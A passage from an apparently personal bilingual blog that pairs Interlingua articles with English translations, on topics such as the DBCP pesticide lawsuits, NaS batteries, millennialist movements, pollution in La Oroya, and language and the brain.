och afrikaner, studerar interlingua är en utmärkt introduktion till språken i Europa.\nNORVEGESE:\nElectronic oversettere kan produsere nyttig tekster om mennesker som bruker dem har god kjennskap til begge språk i oversettelsen. Disse menneskene kan produsere oversettelser som er rimelig, selv om de ikke kan lage oversettelser som er perfekte. Følgende tekst om Interlingua ble produsert av oversetter leveres av Google. Ingen endringer ble gjort i oversettelsene, som kom fra en original tekst på engelsk:\nInterlingua er et planlagt språk som er avledet fra de elementer som er felles for latin, engelsk, fransk, italiensk, spansk og portugisisk. På grunn av sin enkelhet Interlingua har blitt brukt til å produsere sammendrag i forskjellige publikasjoner i realfag, fremfor alt innen medisin, og som den eneste form for kommunikasjon i ulike internasjonale konferanser.\nI undervisningen i språk, Interlingua gir en rask måte å lære det internasjonale vokabular og er en utmerket forberedelse til studiet av de romanske språk og for å oppnå en dypere forståelse av engelsk. Og for asiater og afrikanere, studere Interlingua er en utmerket introduksjon til språkene i Europa.\nPosted by hkyson at 5:44 AM\nFriday, January 30, 2009\n(Languages of this post: Interlingua, English)\nTribunales american mova contra le Dole Food Company, que sterilisava su obreros in Nicaragua, e un compania que mina carbon es accusate de assassinar synicalistas in Colombia.\nPost quasi tres decadas de litigation, un processo legal ha comenciate in un tribuna legal de Los Angeles inter obreros latinoamerican e duo ex le corporationes american le plus grande. Iste caso es le prime in un tribunal american que involve damnos a obreros in paises foras del Statos Unite. Generalmente nostre cortes insista que tal casos debe esser processate in lor paises de origine.\nDole Food Company exponeva alicunes de su obreros nicaraguan a un pesticida fabricate per le Dow Chemical Company que causa le sterilitate permanente.\nLe pesticida es DBCP, o sia dibromochloropropana, considerate ante 30 (trenta) annos un substantia chimic miraculose que poteva destruer vermes microscopic in le terra, le quales habeva destruite le recoltas agricole del region pro un periodo de centenares de annos.\nUn fabrica del Occidental Petroleum Corporation misceva DBCP con altere ingredientes in su fabrica in Lathrop, California pro producer un nove pesticida. In 1977 (mille nove centos septanta [e] septe), examinationes medic revelava que circa (trenta e sex) obreros del planta habeva devenite sterile a causa de lor exposition a DBCP. Sex ex illes comenciava un caso legal contra le compania e ganiava $4,9 milliones de dolares a causa de lor processo legal contra Occidental.\nIn un secunde caso legal, un compania in le stato american Alabama que mina carbon es accusate de usar organisationes paramilitar in Colombia pro occider syndicalistas qui voleva organisar le obreros del compania. Le compania, naturalmente, nega iste accusation.\n---\nAmerican courts are moving against the Dole Food Company, which sterilized its workers in Nicaragua, and a coal-mining company is accused of killing union organizers in Colombia.\nAfter almost three decades of litigation, a trial has begun in a Los Angeles courtroom pitting Latin American workers against two of the largest American corporations. This case is the first in an American court that involves damages to workers in countries outside the United States. Generally our courts insist that such cases should be tried in their countries of origin.\nDole Food Company exposed some of its Nicaraguan workers to a pesticide made by Dow Chemical Company that causes permanent sterility.\nThe pesticide is DBCP, or dibromochloropropane, considered thirty years ago a miracle chemical that could destroy microscopic worms in the soil which had destroyed agricultural crops in the region for a period of hundreds of years.\nAn Occidental Petroleum plant mixed DBCP with other ingredients in its factory in Lathrop, California, to produce a new pesticide. In 1977 (nineteen seventy-seven) medical examinations revealed that around thirty-six workers in the plant had become sterile because of their exposure to DBCP. Six of them sued the company and won $4.9 million dollars because of their lawsuit against Occidental.\nIn a second legal case, an Alabama coal-mining company is accused of using paramilitary organizations in Colombia to kill labor unionists who wanted to organize the company's workers. The company, naturally, denies this accusation.\nPosted by hkyson at 11:58 PM\n(Languages of this post: Interlingua, English)\nDurante su expedition a Egypto inter 1798 (mille septe centos novanta e octo) e 1799 (mille septe centos novanta e nove), Napoleon Bonaparte excavava, inter altere cosas, le Petra Rosetta, que habeva textos parallel in greco e le lingua del egyptianos.\nEventualmente, Jean François Champollion, un linguista de multissime talento, poteva comparar le duo linguas pro decyphrar le texto egyptiano, e le scribas del egyptianos comenciava a communicar directemente a nos in lor proprie lingua.\nStudentes de linguas moderne pote usar le methodo de Champollion pro facilitar lor proprie studios. Pro studiar interlingua e anglese, on pote simplemente leger iste textos bilingue in \"Interlingua multilingue\", scribite in un stilo clar, simple, e utile pro communicar un grande varietate de ideas.\nOn anque pote studiar los plus activemente pro disveloppar un controlo plus precise de ambe linguas. Il es possibile facer tal studios con o sin le uso de grammaticas e altere cursos de instruction in iste linguas.\nGeneralmente, in libros traditional pro inseniar linguas on neglige le potentia de iste methodo comparative, ma illo pote esser multo utile si on usa principalmente le nucleo structural e lexic de linguas simile in le construction de tal exercitios comparative. Iste methodo, naturalmente, non esserea efficace in linguas multo differente, como le anglese e le japonese, pro exemplo, o le arabe e le chinese. Ma illo pote esser multo utile in le studio collective de linguas simile.\n---\nThe Rosetta Stone and the Study of Languages\nDuring his expedition to Egypt between 1798 (seventeen ninety-eight) and 1799 (seventeen ninety-nine), Napoleon Bonaparte excavated, among other things, the Rosetta Stone, which had parallel texts in Greek and the language of the Egyptians.\nEventually, Jean François Champollion, a highly-talented linguist, was able to compare the two languages to decypher the Egyptian text, and the scribes of the Egyptians started to communicate with us directly in their own language.\nStudents of modern languages can use Champollion's method to facilitate their own studies. To study Interlingua and English, a person can simply read these bilingual texts in \"Interlingua multilingue,\" written in a clear, simple style that is useful for communicating a wide variety of ideas.\nIt is also possible to study them more actively to develop a more precise control of both languages. These studies can be made with or without the use of grammars and other courses of instruction in these languages.\nGenerally, in traditional books for teaching languages the potential of this comparative method is neglected, but it can be very useful if a person uses principally the structural and lexical core in the construction of such comparative exercises. This method, naturally, would not be effective in highly different languages, such as English and Japanese, for example, or Arabic and Chinese. But it can be very useful in the collective study of similar languages.\nPosted by hkyson at 11:46 PM\n(Languages of this post: Interlingua, English)\nAccumulatores construite con sodio (natrio) e sulfure promitte esser multo utile in effortios de conservation e stabilisation in systemas pro provider electricitate a urbes e fabricas. Cognoscite como Accumulatores NaS (\"Na\" es le symbolo chimic pro sodio; e \"S\", le symbolo pro sulfure), iste accumulatores non es nove. Le compania Ford los usava in le annos 60 (sexanta) in automobiles electric, e NGK e Tokio Electric los fortificava pro le uso in grande retes de electricitate.\nOn pote cargar iste accumulatores durante le horas nocturne, quando le uso de electricitate es multo plus basse, e usar los pro augmentar le quantitates de electricitate disponibile durante le dies. Tal accumulatores pote esser specialmente utile pro systemas de generation con turbinas aeolic pro stabilisar lor production.\nTurbinas aeolic, naturalmente, pote functionar solmente quando il ha assatis vento pro mover lor helices. Durante le horas quando il ha assatis vento, iste turbinas pote cargar un installation de accumulatores NaS pro uso quando il non ha assatis vento pro facer functionar iste turbinas.\nAccumulatores NaS es multo compacte. In iste momento illos es assatis costose. Ma lor precios, sin dubito, bassara con le inauguration de production in serie massive.\nIllos anque poterea facilitar le construction de parve systemas solar decentralisate pro generar e distribuer le electricitate.\n---\nNaS Batteries\nSodium-Sulphur batteries promise to be very useful in conservation and stabilization efforts in electrical-distribution systems for cities and factories. Known as NaS batteries (\"Na\" is the chemical symbol for sodium; and \"S,\" the symbol for sulphur), these batteries are not new. The Ford Motor Company used them in the sixties in electric automobiles, and NGK and Tokyo Electric fortified them for use in large electrical distribution networks.\nThese batteries can be charged during the evening hours, when the use of electricity is much lower, and can be used to increase the amount of electricity available during the day. Such batteries can be especially useful for stabilizing the production of electricity by turbine generators on wind farms.\nWind turbines, naturally, can work only when there is enough wind to move their impellers During the hours when there is enough wind, these turbines can charge an installation of NaS batteries for use when there is not enough wind to turn these turbines.\nNaS batteries are very compact. At this moment they are rather costly. But their prices, no doubt, will go down (with the start of mass production)\/(once mass production starts [out]).\nThey could also facilitate the construction of small, decentralized, solar electrical-distribution systems.\nPosted by hkyson at 11:24 PM\n(Languages of this post: Interlingua, English)\nQuando le jornalista Fred Vogelstein, un reporter de \"Wired Magazine\" voleva scriber un articulo sur Mike Arrington, un blogator qui travalia in Silicon Valley, le famose centro informatic de California, ille voleva facer interviews traditional con omne le personas qui poterea contribuer information pro le articulo.\nEcce le problemas que ille debeva confrontar: Primo, le blogator Jason Calacanis le diceva que ille non parlarea con Vogelstein directemente e que ille solo responderea a su questiones si Vogelstein los presentava a ille via e-mail, e Calcanis responderea del mesme maniera. Vogelstein non voleva communicar de iste maniera.\nTunc le blogator Dave Winer diceva a Vogelstein que ille non parlarea con ille per telephono. Winer tunc suggereva que ille inviava su questiones via e-mail, e Winer responderea a illos publicamente in su blog.\nProque vole le blogatores communicar assi? Secundo Calcanis in un e-mail a Vogelstein, \"Io non vole que jornalistas usa principalmente lor proprie parolas pro summarisar lo que io dice con solmente un parve numero de parolas mie.\"\nTal planctos se ha facite sovente ante que Calcanis inviava su e-mail a Vogelstein. Ma le Rete ha cambiate le relationes de communication inter jornalistas e blogatores. Secundo Jay Rosen, un professor a New York University, \"Interviews traditional ha essite un exercitio injuste inter jornalistas e le subjectos de lor interviews proque il es le jornalistas e lor redactores qui controla le versiones final de lor articulos.\"\nE secundo le blogator Jef Jarvis, \"Io mesme pote controlar lo que io dice e assecurar que un jornalista non potera distorquer su contexto.\"\nJornalistas insista que le spontaneitate de un interview conversational es essential pro introducer nove themas a un discussion, e facer isto es multo plus difficile in interviews per e-mail.\nIlles anque crede que lor interviews conversational es importantissime pro melio informar lor lectors de affaires public importante. E le personas con le quales illes parla provide un servicio importante al publico con lor participation spontanee, que provide beneficios a omnes.\nMa secundo Rosan, \"Le jornalistas ha le obligation de probar que illes vermente representa le interesses del publico e non lor proprie interesses e prejudicios personal o le interesses e prejudicios del proprietarios de lor jornales e magazines.\"\nIl es anque ver que le blogatores, como le jornalistas, pote haber lor proprie prejudicios. Ma secundo le nove regulas del joco de communication, illes nunc pote controlar illes mesmes le canales trans le quales illes communica e le forma e contento de lor proprie communicationes.\n---\nBloggers Versus Journalists\nWhen the journalist Fred Vogelstein, a reporter for \"Wired Magazine\" wanted to write an article on Mike Arrington, a blogger who works in Silicon Valley, the famous California computer-science center, he wanted to do traditional interviews with all the people who could contribute information for the article.\nHere is the problem that he had to confront: First, the blogger Jason Calacanis told him that he would not talk directly with Vogelstein and that he only would answer his questions if Vogelstein presented them to him via e-mail, and Calcanis would answer in the same way. Vogelstein did not want to communicate in this way.\nThen the blogger Dave Winer said to Vogelstein that he would not talk to him on the phone. Winer then suggested that he send his questions via e-mail, and he would then answer them in his blog.\nWhy do bloggers want to communicate like this? According to Calcanis in an e-mail to Vogelstein, \"I don't want journalists to primarily use their own words to summarize what I say with only a small number of words of my own.\"\nSuch complaints have often been made before Calcanis sent his e-mail to Vogelstein. But the Net has changed the communication relationships between journalists and bloggers. According to Jay Rosen, a professor at New York University, \"Traditional interviews have been an unfair exercise between journalists and the subjects of their interviews because it is journalists and their editors who control the final versions of their articles.\"\nAnd according to the blogger Jef Jarvis, \"I myself can control what I say and make sure that a journalist will not be able to distort its context.\"\nJournalists insist that the spontaneity of an interview is essential to introduce new subjects into a discussion, and doing this is much more difficult in e-mail interviews.\nThey also believe that their conversational interviews are very important for better informing their readers of important public affairs. And the people they talk with provide an important service to the public with their spontaneous participation, which provides benefits to everyone.\nBut according to Rosan, \"Journalists are obliged to prove that they really represent the interests of the public and not their own personal interests and prejudices or the interests and prejudices of the owners of their newspapers and magazines.\"\nIt is also true that bloggers, like journalists, can have their own prejudices. But according to the new rules of the communications game, they themselves can now control the channels through which they communicate and the form and content of their own communications.\nPosted by hkyson at 11:13 PM\n(Languages of this post: Interlingua, English)\nDesde le morte de Christo il sovente ha habite movimentos millennialiste inter le christianos predicente le fin de iste mundo pecanimose e un regno de mille annos per Christo mesme. Naturalmente, Christo nunquam ha venite pro reignar sur le mundo, ma nove predictiones del fin del mundo sempre ha venite periodicamente in le duo mille annos del existentia del christianitate.\nUn tal movimento in le Statos Unite comenciava con William Miller (1782-1849), un soldato american qui luctava contra le angleses in nostre guerra de 1812 (mille octo centos dece e duo). Ille habeva essite un atheo, ma post le guerra ille deveniva un christiano enthusiastic. Post un studio del libros de Daniel e de Revelation, ille concludeva que le data quando Christo retornarea al mundo esserea le 21 martio, 1844 (le dece un de martio de mille octo centos quaranta e quatro). Ille appoiava su predictiones con un serie de calculationes inspirate per su studio del biblia.\nIlle convinceva 100.000 (cento mille) americanos que ille habeva ration. E ante que debeva venir le fin del mundo, illes habeva vendite omne lo que illes possedeva, credente que illes non haberea besonio de lor possessiones post que Christo habeva venite.\nChristo non veniva, naturalmente, e Miller faceva nove calculationes, concludente que le grande die esserea October 22, 1844 (le vinti duo de octobre, mille octo centos quaranta e quatro), ma Christo e su raptura anque non veniva quando arrivava iste nove data.\nMa le poteres de reinterpretation de scholares del biblia es immense. Le discipulos de Miller concludeva que le datas computate per ille solmente significava le inauguration del processo del salvation final. Unes ex illes formava le religion adventista del septime die in le Statos Unite.\nIn 1879 (mille octo centos septanta e nove) un altere millennialiste american, Charles Taze Russell (1852-1916) inaugurava un altere movimento millennialiste, le testes de jehovah. Como Miller, Russell faceva su proprie predictiones, ma Christo non veniva.\nRussell moriva durante le Prime Guerra Mundial, e probabilemente ille credeva que su battalias iva a inaugurar Armageddon. Ma Christo non veniva.\nFranklin Rutherford (1869-1942) continuava le movimento, insistente que \"milliones qui nunc vive nunquam morira\". Ma omnes qui viveva quando ille faceva iste prediction probabilemente ha morite. Ille mesme moriva durante le Secunde Guerra Mundial, e probabilemente ille credeva que le battalias de iste guerra aunque inaugurarea le processo de Armageddon.\nMa le stupiditate aggressive del humanitate es multo tenace, e le corpore de testes de jehova ha continuate su expansion, attrahente plus que un million de adherentes.\n---\nAmerican Religious Millennialist Movements in the Nineteenth Century\nSince the death of Christ there have often been millennialist movements among Christians predicting the end of the sinful world and a thousand-year reign by Christ himself. Naturally, Christ has never come to reign over the world, but new predictions for the end of the world have always come along periodically in in the two thousand years of the existence of Christianity.\nOne such movement in the United States started with William Miller (1783-1849), an American soldier who fought against the English in the war of 1812 (eighteen twelve). He had been an atheist, but after the war he became an enthusiastic Christian. After a study of the books of Daniel and Revelation, he concluded that the date when Christ would return to the world would be March 21, 1844 (March the twenty-first, eighteen forty-four). He supported his predictions with a series of calculations inspired by his study of the bible.\nHe convinced 100,000 (one hundred thousand) Americans that he was right. And before the end of the world was to come, they had sold everything they owned, believing that they would not need their material possessions after Christ had come.\nChrist did not come, of course, and Miller made new calculations, concluding that the big day would be October 22, 1844 (October the twenty-second, eighteen forty-four), but Christ and his rapture also did not come when this new date arrived.\nBut the powers of reinterpretation of the scholars of the bible are immense. Miller's disciples concluded that the dates he computed only signified the inauguration of the process of final salvation. One of them formed the seventh day adventist religion in the United States.\nIn 1879 (eighteen seventy-nine) another American millennialist, Charles Taze Russell (1852-1916) founded the jehova's witnesses. Like Miller, Russell made his own predictions, but Christ did not come.\nRussell died during the First World War, and he probably believed that its battles were going to inaugurate Armageddon. But Christ did not come.\nFranklin Rutherford (1869-1942) continued the movement, insisting that \"millions who are now alive will never die.\" But all those who were alive when he made this prediction have probably died. He himself died during the Second World War, and he probably believed that the battles of this war also would inaugurate the Armageddon process.\nBut the aggressive stupidity of humanity is very tenacious, and the body of jehovah's witnesses has continued its expansion, attracting more than a million adherents.\nPosted by hkyson at 10:58 PM\n(Languages of this post: Interlingua, English)\nIn La Oroya, Peru, un planta de fusion de plombo es un exemplo typic del conflictos inter le economia del citate e le maladias causate per le processos industrial del planta.\nActivistas peruvian e statounitese insista que le effluxo de plumbo, arsenico, e altere substantias toxic ha compromittite le disvellopamento mental e physic del pueros qui vive circum La Oroya. Ma on non ha facite studios epidemiologic e statistic que establirea definitivemente que le planta es le causa de iste problemas proque tal studios es costose e nemo ha potite accumular le moneta pro financiar los.\nLe compania que possede le planta, Doe Run, insiste que le taxa de emissiones toxic de su planta se ha reducite per un tertio durante le annos que illo ha possedite le planta e que illo ha modificate le conditiones de travalio in le planta pro reducer significantemente le contacto inter su obreros e le substantias toxic que le planta processa.\nMa iste asseverationes per Do Run non convince le activistas qui protesta le conditiones de vita in La Oroya proque le compania mesme basa su position in su proprie statisticas, que facilemente poterea esser falsificate pro justificar le status quo in ille parve citate.\nIl anque ha un conflicto inter le gente qui vive in La Oroya. Alicunes es convencite que le problemas causate per le polution liberate per le compania es troppo sever in su effectos e que le planta debe esser claudite. Alteres insista que on ha necessitate del empleos providite per le planta e que La Oroya morirea sin le ressources economic producite per illo.\n\"Basicamente, Do Run face lo que illo vole in despecto del damno causate per su activitates,\" insista Cesar A. Gutierrez Revilla, le burgomagistro de La Oroya, qui habeva travaliate pro le compania como un ingeniero chimic ma qui ganiava le election a causa de su opposition al planta.\nLe functionarios de Doe Run tamen insiste que illes es multo active in continuar lor effortios pro reducer le taxa de polution in La Oroya.\n\"Nos vermente ha besonio de iste planta,\" diceva Rocio Guadalupe Mejia, qui es un alte functionario de un gruppo de appoio subventionate per Doe Run.\nLe pollution de lo que nunc es La Oroya comenciava con le espanioles durante lor colonisation de Peru. Illes esseva interessate principalmente in le auro que illes trovava in le area. Ma nunc le planta processa plumbo, cupre, zinc, cadmio--e anque reducite quantitates de argento e auro.\nE le pollution del planta ha afficite le terrenos circum La Oroya, invenenante con substantias toxic multe lagunas del area cuje aquas nunc ha le color de rubie o orange brillante e luminose, e il es impossibile usar los como un fonte de aqua potabile.\n---\nLa Oroya, Peru\nIn La Oroya, a lead-smelting plant is a typical example of the conflicts between the economy of the town and the illnesses caused by the industrial processes of the plant.\nPeruvian and American activists insist that the outflow of lead, arsenic, and other toxic substances has compromised the mental and physical development of the children that live around La Oroya. But epidemiological and statistical studies that would definitively establish that the plant is the cause of these problems have not been made because such studies are costly and no one has been able to accumulate the money to finance them.\nThe company that owns the plant, Doe Run, insists that the rate of toxic emissions from its plant has been reduced by one third during the years that it has owned the plant and that it has changed the working conditions in the plant to significantly reduce the contact between its workers and the toxic substances that the plant processes.\nBut these statements by Do Run do not impress the activists who are protesting the living conditions in La Oroya because the company itself is basing its position on its own statistics, which could easily be falsified to justify the status quo in that small town.\nThere is also a conflict between the people who live in La Oroya. Some are convinced that the problems caused by the pollution released by the company are too severe in their effects and that the plant should be closed (down). Others insist that the jobs provided by the plant are needed and that La Oroya would become a ghost town without the economic resources produced by it.\n\"Basically, Do Run does what it wants in spite of the damage caused by its activities,\" insists Cesar A Gutierrez Revilla, the mayor of La Oroya, who had worked for the company as a chemical engineer but who won the election because of his opposition to the plant.\nThe executives of Doe Run, however, insist that they are very active in continuing their efforts to reduce the rate of pollution in La Oroya.\n\"We really have need of this plant,\" said Rocio Guadalupe Mejia, who is a leader of a support group subsidized by Doe Run.\nThe pollution of what is now La Oroya started with the Spanish during their colonization of Peru. They were interested principally in the gold that they found in the area. But now the plant processes lead, copper, zinc, eadmium--and also reduced amounts of silver and gold.\nAnd the pollution of the plant has affected the land around La Oroya, poisoning with toxic substances many lagoons of the area whose water now has the color of a brilliant and luminous red or orange, and it is impossible to use them as a source of potable water.\nPosted by hkyson at 10:40 PM\n(Le Roma de Constantino)\nMulte partes del Roma de Constantino tosto essera disponibile in un reconstruction informatic. Le projecto comenciava ante dece annos a UCLA (University of California, Los Angeles). Illo reconstrue le major parte de Roma durante le anno 320 (tres centos vinti) C.E., quando le population del urbe esseva a su maximo de plus que 1.000.000 (un million de) inhabitantes.\nPer le uso de mappas historic, photographos a base de scannatores de laser, e le cognoscimentos de archeologos, artistas, e architectos de Europa e le Statos Unite, le informaticos qui ha travaliate in iste projecto ha construite simulationes de 7.000 (septe mille) edificios e 31 (trenta e un) monumentos, includente le Coliseo e alteres que ha cadite a in ruinas, como le Templo de Venere e le senato roman.\nIste modelo informatic monstra quasi omne le urbe intra su muros Aurelian como illo esseva ante 1.700 (mille septe centos) annos.\nBernard Frischer, le director del projecto, diceva que illo dara a historicos, latinistas, e studentes juvene un nove e plus realistic maniera de examinar iste periodo del historia roman.\nOn pote entrar in iste Roma informatic e examinar omne su partes, volante super le arco de Constantino, pro exemplo, o descendente a in le cavias subterranee del Coliseo, ubi leones e altere animales feroce se immagazinava ante lor luctas contra le gladiatores del imperio.\nIste ressource permitte que on studia plus exactemente como Roma appareva durante iste epocha e imagina como illo functionava. Il anque es possibile studiar plus exactemente le frescos e inscriptiones del epocha--e anque le apparentia de multe edificios que nunc se trova in ruinas o coperite per le immunditias del pollution atmospheric del Roma contemporanee.\nPartes de iste projecto nunc es disponibile a [www.romereborn.virginia.edu].\n---\nMany parts of Constantine's Rome soon will be available in a computerized reconstruction. The project started ten years ago at UCLA. It reconstructs most of Rome during the year 320 (three twenty) C.E., when the population of the city was at is maximum of more than 1,000,000 (one million) inhabitants.\nThrough the use of historical maps, laser-scanner photographs, and the knowledge of archeologists, artists, and architects from Europe and the United States, the computerists who have worked on this project have constructed simulations of 7,000 (seven thousand) buildings and thirty-one monuments, including the Coliseum and others that have fallen into ruin, such as the Temple of Venus and the Roman Senate.\nThis computerized model shows almost the entire city within its Aurelian walls the way it was 1,700 (a thousand seven hundred) years ago.\nBernard Frischer, the project director, said that it will give historians, Latinists, and young students a new and more realistic way of examining this period of Roman history.\nA person can enter this computerized Rome and examine all its parts, flying above the Arch of Constantine, for example, or descending into the subterranean cages of the Coliseum, where lions and other ferocious animals were confined before their fights with the gladiators of the empire.\nThis resource allows a person to study more exactly what Rome looked like during this era and to imagine how it worked. It is also possible to study more exactly the frescos and inscriptions of that era--and also the appearance of many buildings that are now in ruins or covered up by the filth of atmospheric pollution of contemporary Rome.\nParts of this project are now available at [www.romereborn.virginia.edu].\nPosted by hkyson at 10:25 PM\n(Languages of this post: Interlingua, English)\nIl esserea multo satisfacente, naturalmente, si nos poteva trovar un parte del cerebro que controla regulas syntactic e un altere parte que immagasina le parolas de nostre linguas, ma le cerebro non ha iste typo de structura. Illo non es simplemente le typo de organo con pecias de texito con formas recognoscibile como le ficato o un ren in le quales activitates physiologic ben definite se executa. Il es necesse que un rotula ha un certe forma physic pro functionar ben, me un senso de orientation in le spatio, pro exemplo, o le intelligentia emotional e social o le capacitate de parlar un lingua usa multe partes differente del cerebro con connexiones a multe altere partes.\nLe cerebro es un organo de computation, e lo que es importante in systemas de computation es como le information flue inter lor diverse partes e no con la forma del partes mesme.\nIn nostre computatores, un programma o un base de datos pote immagazinar se in diverse sectores in RAM (memoria ephemere) o in un disco magnetic o optic. Ma si le systema preserva le information e si il ha ligamines inter le regiones differente, le programma functiona perfectemente, e si nos voleva, nos poterea describer exactemente iste ligamines--un possibilitate pauco practic in le caso de un systema informatic e un scopo impossibile in le caso del cerebro human.\nLe cerebro non es un computator digital, naturalmente, e su circuitos non se transmitte inter le cannelaturas de communication de un processator central e un collection de chips de RAM. Ma le systemas de information e computation del cerebro human trova connexiones organicamente convenibile durante que illo disveloppa le rete de communicationes intra nostre cerebros--un processo multo rapide inter nostre infantes e pueros que continua mesmo ultra le pubertate.\nOmnes qui ha installate un pacchetto de logiciel in un computator sape que mesmo un programma simple ha besonio de centenares, mesmo milles de archivos trovate in omne le partes del machina si le logiciel va a coordinar se efficacemente con le memoria e systemas de transmission e immagazinage e permitter que cata componente del computator functiona ben.\nDe un maniera simile, le systemas de processamento del cerebro es como un octopode cuje tentaculos vade (1) al bucca, (2) al gorga, (3) al diaphragma (pro provider le fluxo de ar necesse pro parlar), (4) al aures (pro comprender le linguage parlate), (5) al memoria temporanee (pro immagazinar le prime parte de un asseveration durante que on essaya a construer su parte final), (6) a conceptos de omne typo in le processo de trovar parolas que exprime iste conceptos de un maniera efficace, e (7) a systemas de planification e rationamento (pro decider exactemente lo que on vole dicer e como on vole dicer lo).\nIn un machina artificial, cata componente pote esser in su proprie cassa, ma le cerebro human es le producto de evolution aleatori que se extende retro al minus al prime pisces e amphibianos que sortiva del oceano pro promenar se in le litores de nostre insulas e continentes, e su structura es le producto de multissime experimentos aleatori trans le milliones de annos del evolution del vita sur nostre planeta, e de multe manieras su diverse functiones es un compromisso inter lo que poterea esser optime e lo que es simplemente practic pro assecurar le superviventia e de nos mesmes e del milliones de animales que es nostre ancestres.\n---\nLanguage and the Brain\nIt would be very satisfying, naturally, if we could find a part of the brain that controls syntactic rules and another part that stores the words of our languages, but the brain does not have this kind\/type of structure. It is not simply the kind of organ with pieces of tissue with recognizable forms such as the liver or a kidney, in which well-defined physiological activities take place. It is necessary for a kneecap to have a certain physical form to function well, but a sense of orientation in space, for example, or emotional and social intelligence or the capability of speaking a language uses many different parts of the brain with connections to many other parts.\nThe brain is a computing organ, and what is important in systems of computation is how information flows among its various parts and not with the form of the parts themselves.\nIn our computers, a program or a data base can be stored in various sections of RAM (random-access memory) or on a magnetic or optical disk. But if the system preserves the information and if there are links among the different regions, the program functions perfectly, and, if we wanted to, we could exactly describe these links--a highly impractical possibility in the case of a computerized system and an impossible goal in the case of the human brain.\nThe brain is not a digital computer, of course, and its circuits are not transmitted through the communication slots of a central processor and of a collection of RAM chips. But the information and computation systems of the human brain find organically suitable connections as it develops the communication network in our brains--a very rapid process among infants and children that continues even after puberty.\nAnyone who has installed a software package in a computer knows that even a simple program needs hundreds, even thousands, of files found in all the parts of the machine if the software is going to work effectively with the memory and the transmission and storage systems and allow every component of the computer to function well.\nIn the same way, the processing systems of the brain are like an octopus whose tentacles go (1) to the mouth, (2) to the throat, (3) to the diaphragm (to provide the flow of air needed for speaking), (4) to the ears (to understand spoken language), (5) to the temporary memory (to store the first part of a statement as a person tries to construct its final part), (6) to all kinds of concepts in the process of finding words that explain these concepts in an effective way, and (7) to reasoning and planning systems (to decide exactly what a person wants to say and how he wants to say it).\nIn an artificial machine, each component can be in its own box, but the human brain is the product of random evolution that extends backwards at least to the first fish and amphibians that left the ocean to walk on the shores of our islands and continents, and its structure is the product of many random experiments throughout the millions of years of the evolution of life on our planet, and in many ways its various functions are a compromise between what could be optimum and what is simply practical to assure our own survival and the survival of the millions of animals that are our ancestors.\nPosted by hkyson at 10:11 PM\n(Languages of this post: Interlingua, English)\nAntisemitismo es fortemente prohibite per le Concilio de Europa, ma homophobos es libere a predicar lor odio.\nSecundo le secretario general del Concilio de Europa, Terry Davis, \"Europa es troppo sovente tolerante de homophobos e negligente de lor victimas.\"\n\"Il es ver que le orientation sexual de un persona non provocara su incarceration,\" ille addeva, \"ma le bigots in diverse paises europee anque es libere a advocar lor convictiones homophobic de un maniera que non esserea tolerate in le caso de odio antisemitic.\"\nMulto sovente, secundo ille, functionarios public, como burgomaestros, parlamentarios, e anque figuras religiose es libere a exprimer lor odio homophobic como le nazis in le governamento de Hitler, demonstrante un insuccesso de practicar le tolerantia official del Union Europee pro gente gay. In isto, le homosexuales de Europa es le sol minoritate sin le protectiones de altere minoritates europee.\nDavis insisiteva il es essential que le derectos e le libertates fundamental garantite per le Convention Europee pro Derectos Human sia defendite \"con conviction, perseverantia, e le plen fortia del systemas legal del paises europee.\"\n---\nAntisemitism is strongly prohibited by the Council of Europe, but homophobes are free to preach their hatred.\nAccording to the secretary general of the Council of Europe, Terry Davis, \"Europe is too often tolerant of homophobes while neglecting their victims.\"\n\"It is true that a person's sexual orientation will not provoke his incarceration,\" he added, \"but the bigots in various European countries are also free to advocate their homophobic convictions in a way that would not be tolerated in the case of antisemitic hatred.\"\nQuite often, according to him, public officials, such as mayors, parliamentarians, and also religious figures are free to advocate their homophobic convictions like the Nazis in Hitler's government, demonstrating a failure to practice the official tolerance of the European Union for gay people. In this, the homosexuals of Europe are the only minority without the protections of other European minorities.\nDavis insisted that it is essential for the fundamental rights and liberties guaranteed by the European Convention on Human Rights to be protected \"with conviction, perseverance, and and the full force of the legal systems of European countries.\"\nPosted by hkyson at 9:54 PM\n(Languages of this post: Interlingua, English)\nPresso le capital de Mexico, le filia de César Cruz Benítez e Marisela Rivas non ha un nomine official--un situation assatis stranie proque le puera ha quasi duo annos.\nSu matre e patre vive in Tepeji del Río, un village de Hidalgo, un stato mexican un pauco al norte del capital del pais, e illes ha date a lor filia le nomine Doni_Zänä, que in lor lingua native, hñahñu, significa \"le flor del mundo\".\nInfelicemente, illes non ha potite registrar le nomine de lor filia con le governamento del pais. Su computatores non pote accomodar le littera \"ä\" e le linea \"_\".\nPro le indios qui parla hñahñu, iste difficultate ha devenite un problema de derectos human que exemplifica lo que illes insiste es le discrimination contra le population indigine de Mexico.\n\"Mi filia non ha un nomine official in iste momento, ma io va luctar contra iste discrimination contra nostre lingua,\" diceva César Cruz. \"E io es preparate a demandar adjuta de organisationes international pro le legalisation de su nomine.\"\nComo Cruz e su marita, Marisela, tres de lor quatro altere filias ha nomines official del espaniol e del anglese, Jocellyn, Perla, e Antonia. Ma in Hidalgo, como in altere partes del America latin, cresce le feritate indigine. E como le usatores del linguas minoritari de Europa, multes ex le populationes indigine del Americas exige que on comencia a recognoscer e a acommodar lor linguas native.\n\"Iste problema non es un capricio mie,\" diceva Cruz. \"Illo ha devenite un lucta pro preservar nostre traditiones, nostre cultura, e nostre lingua. Io non pote comprender proque, pro le governamento mexican, il es tan difficile comprender e respectar nostre lingua e nostre cultura.\"\nCruz diceva que le governamento mexican sovente insiste que illes cambia le nomines de lor filios a nomines espaniol, o al menos a un nomine que corresponde al patronos del pronunciation del espaniol.\nLe problema, secundo le governamento mexican, ha su origine in le nove technologia de su computatores, que non pote accommodar litteras que non occurre in le alphabeto espaniol. Resolver iste problema es importante, proque iste systema informatic se usa pro producer cartas de identitate national pro le population de Mexico.\nLe Commision de Derectos Human de Hidalgo nunc appoia le causa de Cruz e su familia. \"Nos crede que Cruz e su marita debe haber le derecto de dar a lor filia le nomine que illes prefere in lor proprie lingua,\" diceva Fernando Hidalgo Vergara, un portavoce del commission, que insiste que le governamento mexican debe modificar su computatores pro accommodar le systemas orthographic del linguas indigene del pais.\nUn suggestion del governamento es que Cruz cambia le nomine de Doni_Zänä a \"Doni Zana\". \"Ma in iste caso,\" diceva Cruz, \"le nomine de mi filia non significarea le flor del mundo ma le petra del morte, e io simplemente non pote acciper iste nomine triste e deprimente!\"\nNonobstante, il ha duo lateres al problema del formas exacte de nomines inter linguas differente. Ante unes annos, le pais de Sri 